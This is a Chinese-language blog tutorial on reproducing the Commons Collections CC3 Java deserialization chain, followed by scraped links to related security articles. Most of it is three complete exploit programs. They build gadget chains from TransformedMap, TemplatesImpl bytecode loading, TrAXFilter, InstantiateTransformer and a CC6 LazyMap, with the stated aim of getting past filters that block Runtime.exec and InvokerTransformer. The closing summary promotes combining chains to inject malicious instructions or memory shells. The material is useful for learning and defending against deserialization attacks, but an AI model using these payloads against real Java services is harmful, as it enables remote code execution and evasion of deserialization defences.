关于cc3复现以及绕过思路
关于cc3复现以及绕过思路
(文章简略许多,可以的话,可以看看之前之前发布的文章)
绕过思路:动态加载字节码绕过Runtime,exec被过滤
在前面两个篇章中我们学习了cc1,cc6和动态加载字节码;
我们都知道ccl链大多都是调用链最终调用到transform函数,在这个函数的构造中我们知道必不可少的部分是反射获取Runtime函数;然后也使用InvokerTransformer函数执行;
如果exec,Runtime.class等函数被ban了呢?
那就不得不引入我么学过的动态加载字节码了;
先看demo;这是cc1的 TransformedMap,触发点是setvalue,使用AnnotationInvocationHandler中的setvalue,和checksetValue;
package org.com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class CommonCollections3 {
public static void main(String[] args) {
//Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
如果这个payload中的InvokerTransformer被ban了,该如何触发
结合之前的动态加载字节码;我们尝试使用TemplatesImpl字节码
只需要将这两个poc拼接一下即可,然后替换反射获取Runtime的部分替换成获取newTransformer即可,完整payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0]),
/* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
但你会发现在cc3中没有使用 InvokerTransformer
假设过滤了InvokerTransformer,该如何绕过呢?
其实只需要找到其他实现了接口的类即可InvokerTransformer;在ysoserial使用了TrAXFilter;可以看到这里调用了newTransformer()

绕过思路:TrAXFilter绕过 InvokerTransformer
只需要改变Transformer[]为一下代码即可
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
由于我们不能用InvokerTransformer调用其构造函数,所以替换使用InstantiateTransformer,在 ChainedTransformer组合多个transform方法时会调用其中的transform方法,返回一个TrAXFilter.class对象;其实这个函数的作用就是调用类的构造方法

完整payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.xml.transform.Templates;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
/* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
但其实这只能是cc1的绕过版;不能解决java版本问题
这里再拼接一下cc6;
进行改进;
最终payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.xml.transform.Templates;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
/* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();//清空map
Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(expMap);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

;
总结:
绕过Runtime,exec等,这里使用动态加载字节码的形式;
绕过InvokerTransformer 这里使用:TrAXFilter类与InstantiateTransformer获取其构造器;
绕过版本限制,使用cc6+cc3形式;
事实上,针对不同的限制与过滤,可以进行多种多种不同的组合,比如说,命令执行的部分,或许可以替换成注入内存马的形式;
其实到目前为止,我们可以看到,其实反序列化步骤有3个部分;(链式调用)
1.注入
transform链,是要注入的主体,根据需要注入命令,字节码,内存马等我们要注入的恶意"指令";,也许可以利用加载远程的字节码;如RMI等(但字节码可以直接注入的情况下,一般考虑直接注入)
2.触发链
在这个版本(链式调用)中,这部分也可以理解为载荷,用以装载我们的"恶意指令"要利用的大都是调用了transform函数的类;我们,这里需要找到一条调用链进行组装;使其可以最后调用到transform函数;就比如各种cc链中的如LazyMap,TransformedMap等;
3.组合拳绕过
最重要的就是拼接和替换比如上诉例子中就使用了多种拼接进行绕过;动态加载字节码+cc6+TrAXFilter类,InstantiateTransformer绕过InvokerTransformer
最后要发散思维;java的反序列化很自由,可以进行多种组合,最终目的都是加载我们的"恶意指令";
因此我认为在java学习中;利用思维也很重要;这个让我们学会一种漏洞利用的思路,如何进行组装攻击路径;进行利用;
最后,学会独立思考;
----------------------备注--------------------------------
参考:p牛->知识星球->代码审计->java系列文章
关于cc3复现以及绕过思路的更多相关文章
- 28.【转载】挖洞技巧:APP手势密码绕过思路总结
说到APP手势密码绕过的问题,大家可能有些从来没接触过,或者接触过,但是思路也就停留在那几个点上,这里我总结了我这1年来白帽子生涯当中所挖掘的关于这方面的思路,有些是网上已经有的,有些是我自己不断摸索 ...
- 记一次APP渗透登录验证绕过思路
前言: 起初是抓包时候查看返回状态码不一致,所以觉得是否可以通过修改状态码来达到绕过的目的,但是拦截响应包再替换手速不够,技术大哥就去搜了下,找到了一个方法,可以自动替换响应包内容. 在偏下方一点的地 ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- UAC绕过思路(未完)
---恢复内容开始--- What is UAC?
- 关于父进程和子进程的关系(UAC 绕过思路)
表面上看.在windows中. 假设是a进程创建了b进程,那么a进程就是b进程的父进程.反之,假设是b创建了a,那么b进程就是a的父进程,这是在windows出现以来一直是程序员们都证实的,可是在在w ...
- 存储型XSS的发现经历和一点绕过思路
再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...
- 常见WAF绕过思路
WAF分类 0x01 云waf 在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机. 0x02 ...
- JS反爬绕过思路之--谷歌学术镜像网链接抓取
首先,从问题出发: http://ac.scmor.com/ 在谷歌学术镜像网收集着多个谷歌镜像的链接.我们目标就是要把这些链接拿到手. F12查看源码可以发现,对应的a标签并不是我们想要的链接,而是 ...
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- java高版本下各种JNDI Bypass方法复现
目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...
随机推荐
- hexo 本地启动项目 hexo-browsersync 不工作原因总结
问题 1 : hexo-server 开启 compress 压缩后 hexo-browsersync 插件热更新完全无效,没办法自动刷新 此问题表现在 hexo 任何版本 问题原因: hexo-se ...
- mac 如何开启指定端口供外部访问?
前言 需要 mac 上开放指定端口,指定 ip 访问 解决 在 macOS 上开放一个端口,并指定只能特定的 IP 访问,可以使用 macOS 内置的 pfctl(Packet Filter)工具来实 ...
- 表访问方法:PostgreSQL 中数据更新的处理方式
作者:Cary 前言 本文将详细探讨 PostgreSQL 如何处理更新操作.在 PostgreSQL 中,成功的更新可以被视为"插入一条新记录",同时"标记旧记录为不可 ...
- etcd和Zookeeper孰优孰劣对比
背景 最近在看到Pachyderm的介绍时,看到作者拿YARN和Kubernetes做类比,拿Zookeeper和etcd做对比.YARN和Kubernetes的类比还相对比较好理解,毕竟他们都有资源 ...
- netstat 与 ss 比较
一.netstat 命令 1. 核心功能 显示网络连接.路由表.接口统计等信息. 支持TCP.UDP.UNIX域套接字等协议. 可查看进程与端口的关联. 2. 常用语法示例 查看所有活动连接 nets ...
- D常用快捷键大全(转)
Ctrl+PageUp将光标移至本屏的第一行,屏幕不滚动.Ctrl+PageDown将光标移至本屏的最后一行,屏幕不滚动.Ctrl+↓向下滚动屏幕,光标跟随滚动不出本屏.Ctrl+↑向上滚动屏幕,光标 ...
- .NET多线程编程之CountdownEvent使用
简单来说,使用这个类可以让主线程等待子线程都完成任务之后才执行任务 1 static void Main(string[] args) 2 { 3 ///子任务的数量 4 CountdownEvent ...
- lua三色标记的读写屏障理解
起因是已经被标记为黑色的对象无法进行再次遍历,然而黑色对象发生了引用变化:断开了引用或者引用了别的对象,会导致多标(不再被黑色对象引用的对象未能回收),漏标(黑色对象的新引用未能遍历标记)
- app自动化的特殊操作
一.截屏 File srcfile=driver.getScreenshotAs(OutputType.FILE); //得到截图源文件对象 File dstfile=new File("C ...
- 系统自动化DTO实施流程简图